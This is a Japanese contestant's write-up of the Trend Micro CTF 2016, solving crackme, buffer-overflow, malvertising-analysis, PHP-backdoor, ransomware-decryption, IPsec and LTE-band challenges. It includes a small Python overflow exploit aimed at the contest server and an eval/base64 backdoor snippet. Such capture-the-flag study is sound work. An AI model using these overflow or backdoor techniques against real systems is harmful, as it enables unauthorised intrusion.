Trend Micro CTF 2016 write-up

Trend Micro主催のCTF。去年はアジア地域限定だったけど、今年は全世界対象らしい。
http://www.trendmicro.co.jp/jp/sp/ctf2016_jp/

ぼっちチームsuperflipは、20位。時々10位以内に入れたけど、決勝の壁は厚い。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/8750cf26-9464-92b6-49b0-cc2b5237ef0d.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/8750cf26-9464-92b6-49b0-cc2b5237ef0d.png" width="480"></a>

# Analysis - Offensive

攻撃。

## 100 

HTML Applications。実行可能ファイルっぽいアイコンだけど、中を開けばHTMLとJavaScript。

![image](https://qiita-image-store.s3.amazonaws.com/0/25276/5fbc64dc-b638-0b0b-5cbe-d3db9a0afb58.png)

入力された登録鍵を3個の文字列に分けて、それぞれのMD5を計算して一致していれば通る。

`a === ka.replace(/6/g,'2').replace(/b/g,'a').replace(/d/g,'4')` というコードを見て、「情報が落ちているから自分でMD5を探索するルーチンを書かないといけない。面倒だな……」と思ったけど、入力した文字列のMD5は`ka`ではなく`a`だった。わざわざMD5の出現文字種が少ない文字列を探したのか。

`TMCTF{q6r4dy5ei2na1twm3}`

## 200

バッファーオーバーフロー攻撃。バッファの直後の変数を書き換えるだけで、とても簡単。手元で試すこともなく、一発で成功した。

```py
from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("52.197.128.90", 80))

print s.recv(8)

s.send("a"*1024+pack("<I", (0x7eaf^0xc0fe)<<16|(0xdae4^0x1a1a)))

print s.recv(5)
print s.recv(100)
```

`TMCTF{e8eb549f48fb7}`

## 300

Windowsアプリの解析。問題ファイルは、tempフォルダにファイルを書き出して実行するようになっているので、適当なところで止めてこのファイルを持ってくる。
スレッドをいくつか作って、コンピュータ名を取得したりとか色々やっている。処理が追い切れていないけど、エラーで終了するところを潰したりしていたら、`蕫・nter{Thread-Traveler}`と表示された。

`TMCTF{Thread-Traveler}`

## 400

ウェブサイトを閲覧していたら、suspiciousなファイルがダウンロードされたらしい。

1. サイトのads.jsがGIF画像を読み込んで、埋め込まれたJavaScriptをページに追加する
2. このスクリプトで`<iframe>`を書き出す
3. 読み込まれたページ内でスクリプトで`<object>`を書いて、swfファイルを読み込む
4. このswfの中で別のswfを復号してページに書き出す
5. 別のswfの中で日時の条件が揃うと（？）JavaScriptが実行される
6. JavaScript中で画像を復号して`<img>`で書き出す。ただし、`width=0 height=0`

という流れになっていた。真面目に処理を追ったけど、上手いこと実行させた方が楽だったかもしれない。

今まで、Flashファイルを解析しようと思っていくつかソフトを試しても、ちゃんと動いてくれなくて困っていたが、↓のソフトですごく綺麗にデコンパイルできた。今回のコンテストで一番の収穫。

[JPEXS Free Flash Decompiler - Opensource SWF decompiler and editor](https://www.free-decompiler.com/flash/)

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/27d8067b-cef8-bca4-6927-b23b5fdcb4da.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/27d8067b-cef8-bca4-6927-b23b5fdcb4da.png" width="480"></a>

`TMCTF{M4LV3RT1S1NG-EK}`

# Analysis - defensive

防御。

## 100

暗号化されたPHPファイル。暗号化とは言っても、`'ev'.'al'`を`'echo'`にでも変えれば読める。処理内容はバックドア。パスワードが必要で、`sha1(md5($post))`が埋め込まれた値になるかチェックしている。総当たりで探索してみたところ、`h4ck`だった。
このスクリプトが運営のサーバーに置いてあるわけでもないし、どうしろと……としばらく悩んでいたけど、ページ内の鍵の画像にコメントがあった。

`45786966000049492a000800000002000f010200050000002600000010010200400000002c000000000000002f2e2a2f65006576616c286261736536345f6465636f646528225a574e6f6279416e5a6d78685a7942706379427a614745784b48426863334e3362334a6b4b5363372229293b`
　↓
`eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));`
　↓
`echo 'flag is sha1(password)';`

passwordは`h4ck`のこと。

`TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}`

## 400

ランサムウェアが暗号化したファイルを復号してくれという問題。
Offensive 300と同じように実際に実行されているファイルをコピーする。py2exeで生成されたプログラムなので、[unpy2exe](https://github.com/matiasb/unpy2exe)でpycを取り出し、[uncompyle2](https://github.com/wibiti/uncompyle2)でpyに戻す。識別子が難読化されているので、適当に置換する。

暗号化に使われている鍵が2個ある。鍵1は、

```py
trend = 'TrEndMicRo'
key = ''
for i in range(5):
    key = key + random.choice(trend)
key = '!' + key + key + key + key + key + key + '!'
```

で、ランダムに生成されている。10万通り。鍵2は今日の8、`20160731`とか。両方の組み合わせは無理だが、片方なら全探索できる。
暗号化の流れは、

鍵1でAES → Base64 → 鍵2でRC4

を10回繰り返している。Base64があるので、暗号文を鍵2で復号したときにはBase64で復号できる文字列になっているはず。Base64が無ければ、AESのパディングなどが使えただろうか。暗号を複数組み合わせて強度アップ💪などと考えずに、暗号は素直に使いましょうと。

```py
from itertools import *
from Crypto.Cipher import AES

key1 = "!MdEccMdEccMdEccMdEccMdEccMdEcc!"
key2 = "20163006"

for i in range(10):
    data = ilililililililililililililil(data, key2)
    data = data.decode("base64")

    salt = data[:16]
    data = data[16:]
    aes = AES.new(key1, AES.MODE_CBC, salt)
    data = aes.decrypt(data)
    data = data[:-ord(data[-1])]
    
open("dec.png", "wb").write(data)
```

画像には、`Flag is a MD5 of original this file.`と書いてある。dec.pngのMD5で通らなくてどのファイルのことかと思ったけど、MD5を大文字にしたら通った。

`TMCTF{8457F2FDA0BF2BF1DB76121ED133B46E}`

# Forensic

1問も解けていない(´・ω・`)

# Reversing

1問も解けていない(´；ω；`)

# SCADA

1問も解けていない｡･ﾟ･(ﾉД`)･ﾟ･｡

> SCADA（Supervisory Control And Data Acquisition の略）は、産業制御システムの一種であり、コンピュータによるシステム監視とプロセス制御を行う。対象プロセスは、以下のような生産工程やインフラや設備に関するものである。

https://ja.wikipedia.org/wiki/SCADA

情報セキュリティで今一番熱い分野だろうか。

# Misc (IoT and Network)

## 100

IPsecの復号。途中平文で鍵を見ているので、このサイトのESPの手順をそのままやるだけ。HTTPでフラグの書かれた画像を取得している。

[IPsec(ISAKMP、ESP)の復号化手順 - sai’s diary](http://saitoh.hatenablog.jp/entry/2014/09/29/022926)

`TMCTF{GO_FOR_THE_CL}`

## 200

ModemSettings.txtというファイルが渡されて、対応しているLTEバンドは何か？という問題。このサイトの通り。6828 (0x1AAC)のブロックをリトルエンディアンで読んで、下位ビットから順に1, 2, …らしい。

[Android端末の対応バンドの変更について\(NTTdocomoプラスエリア対応など\) \| AndMem](http://andmem.blogspot.jp/2013/11/mobilebandchange.html)

`TMCTF{1,2,3,4,5,6,7,8,9,11,12,13,17,18,19,20,21,25,26}`

## 400

[去年](http://kusano-k.hatenablog.com/entry/2015/09/27/172331)に引き続きブラックジャック。プログラミングの問題っぽいし、それなら解けるだろと思って最後のほうに取り組んでいた。ブラックジャックに27連勝しろと。サーバーで動いているわけではなく手元に全てのファイルがあるし、フラグは27連勝したときの残りカードから計算しているしで、意味が分からず、色々悩んで終了。

<blockquote class="twitter-tweet" data-conversation="none" data-lang="ja"><p lang="ja" dir="ltr"><a href="https://twitter.com/kusano_k">@kusano_k</a> <a href="https://twitter.com/mzyy94">@mzyy94</a> 最後のは、ソース内の日付でsrand(time())すると良かったそうです。時刻は自分で見つけなきゃいけなかったけど。</p>&mdash; リリりん♪ (@lly_japan) <a href="https://twitter.com/lly_japan/status/759652277510545408">2016年7月31日</a></blockquote>

27連勝できるような時刻を見つけ出せという問題だったらしい。方針さえ分かれば解けそうなので、あとで挑戦してみよう。